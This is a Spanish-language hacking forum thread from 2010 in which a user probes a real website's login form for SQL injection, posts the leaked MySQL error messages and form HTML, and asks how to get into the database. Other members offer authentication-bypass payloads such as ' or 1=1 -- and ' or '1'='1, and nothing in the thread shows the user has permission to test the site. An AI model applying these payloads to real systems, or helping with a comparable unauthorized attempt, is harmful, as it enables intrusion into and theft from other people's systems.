Ayuda con posible inyección SQL en una base de datos....

Iniciado por RON06, 6 Enero 2010, 19:29 PM

0 Miembros y 3 Visitantes están viendo este tema.

RON06

Hola a todos!
En una web me piden el nombre de usuario y contraseña (lo típico  ;D)
I bueno.... en vez de escribir un user como por ejemplo "ron" puse una comilla '.

Total que la página web me respondió lo siguiente:

select `con` from basdat2 where `user`=''';
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1


He estado mirando en el codigo fuente.... y la parte que me interesa es esta:

<table cellpadding=0 cellspacing=0 border=0 style="width: 100%"><tbody>
<tr>
<td colspan="1" style="text-align: left;">

<form ACTION ="./" METHOD=POST>

<table cellpadding=0 cellspacing=0 border=0 style="width: 100%"><tbody>

<tr>
<td colspan="1" style="text-align: left;">
user </td>
<td colspan="1" style="text-align: left;">
<input type=text name=user value="" size=30 MAXLENGTH=255>
</td>
</tr>
<tr>
<td colspan="1" style="text-align: left;">
contrasenya </td>

<td colspan="1" style="text-align: left;">
<input type="password" name="contra" value="" size=30
MAXLENGTH=255 >
</td>
</tr>
<tr>
<td colspan="1" style="text-align: left; width: 2%;">

<input name="Entrar!" value="Entrar!" type="submit">
</td>
</tr>
</tbody></table>
</form>

He hecho pruebas.... i algunos resultados han sido:

Con 'hola:

select `con` from basdat2 where `user`=''hola';
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'hola'' at line 1


Con '<<<>>> el resultado es:

select `con` from basdat2 where `user`=''<<<>>>';
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '<>>>'' at line 1


En este último resultado he comprovado que algun simbolo ">" no aparece en la respuesta... Al igual que si tengo una peticion con comillas múltiples de dos.... me valida, en canvio si escribo por ejemplo 1, 3 o 5 comillas me sale el error...

Alguien tiene tiene alguna idea para intentar acceder a la base de datos???  

Gracias  :P

EDITO: Formulario completo ^^

~ Yoya ~

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

RON06

#2
yoyahack gracias por decirmelo... no me había fijado que estaba incompleto :P

<table cellpadding=0 cellspacing=0 border=0 style="width: 100%"><tbody>
<tr>
<td colspan="1" style="text-align: left;">

<form ACTION ="./" METHOD=POST>

<table cellpadding=0 cellspacing=0 border=0 style="width: 100%"><tbody>

<tr>
<td colspan="1" style="text-align: left;">
user </td>
<td colspan="1" style="text-align: left;">
<input type=text name=user value="" size=30 MAXLENGTH=255>
</td>
</tr>
<tr>
<td colspan="1" style="text-align: left;">
contrasenya </td>

<td colspan="1" style="text-align: left;">
<input type="password" name="contra" value="" size=30
MAXLENGTH=255 >
</td>
</tr>
<tr>
<td colspan="1" style="text-align: left; width: 2%;">

<input name="Entrar!" value="Entrar!" type="submit">
</td>
</tr>
</tbody></table>
</form>



Lo edito arriba. xD

~ Yoya ~

ps al parecer el error se produce al intentar poner datos invalido, no mucho se puede hacer...
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.

RON06

#4
Cita de: yoyahack en  6 Enero 2010, 21:05 PM
ps al parecer el error se produce al intentar poner datos invalido, no mucho se puede hacer...
estoy de acuerdo..... pero notifico esta respuesta del servidor por si sirve de algo:

Escribiendo en el usuario  ' OR 1=1 //  la respuesta es la siguiente:

select `con` from basdat2 where `user`='' OR 1=1 //';
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near '/'' at line 1


Es interesante... parece que o valida el resto o hay un filtro anti-SQL-Inyection...
Alguna idea de que puede ser??? ;)

AÑADO ESTO:

Es la URL que he conseguido examinando el codigo fuente del formulario.... ;D

http://paginaweb/?user=' OR 1=1 //&contra=cualquieraaaa&Entrar!=Entrar!

http://paginaweb/?user=%27%20OR%201=1%20//&contra=cualquieraaaa&Entrar!=Entrar!


Saludos!!!

xassiz_

Prueba con

Citar' or 1=1 --

con espacio al final ;-P



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE

RON06

Cita de: אครรเz en  7 Enero 2010, 12:50 PM
Prueba con

Citar' or 1=1 --

con espacio al final ;-P

Gracias por la idea, lo he probado con espacio y no sale ningún error, es decir no accedo a nada :xD

Haciendo esto mismo sin el espacio... sale el error:

select `con` from basdat2 where `user`='' or 1=1 --';
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1


Probando esto antes de la comilla:  -- '123
el resultado es:

select `con` from basdat2 where `user`='-- '123';
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near '123'' at line 1

kamsky

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

RON06

Cita de: kamsky en  7 Enero 2010, 15:28 PM
' or '1'='1

@kamsky una peticion con comillas múltiples de dos.... me valida, en canvio si escribo por ejemplo 1, 3 o 5 comillas me sale el error...

De todas formas gracias por la aportación  :)

~ Yoya ~

Si magic quotes esta on filtrara las comillas, creo que desde la version 5 vienen por defecto desactivadas.
Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.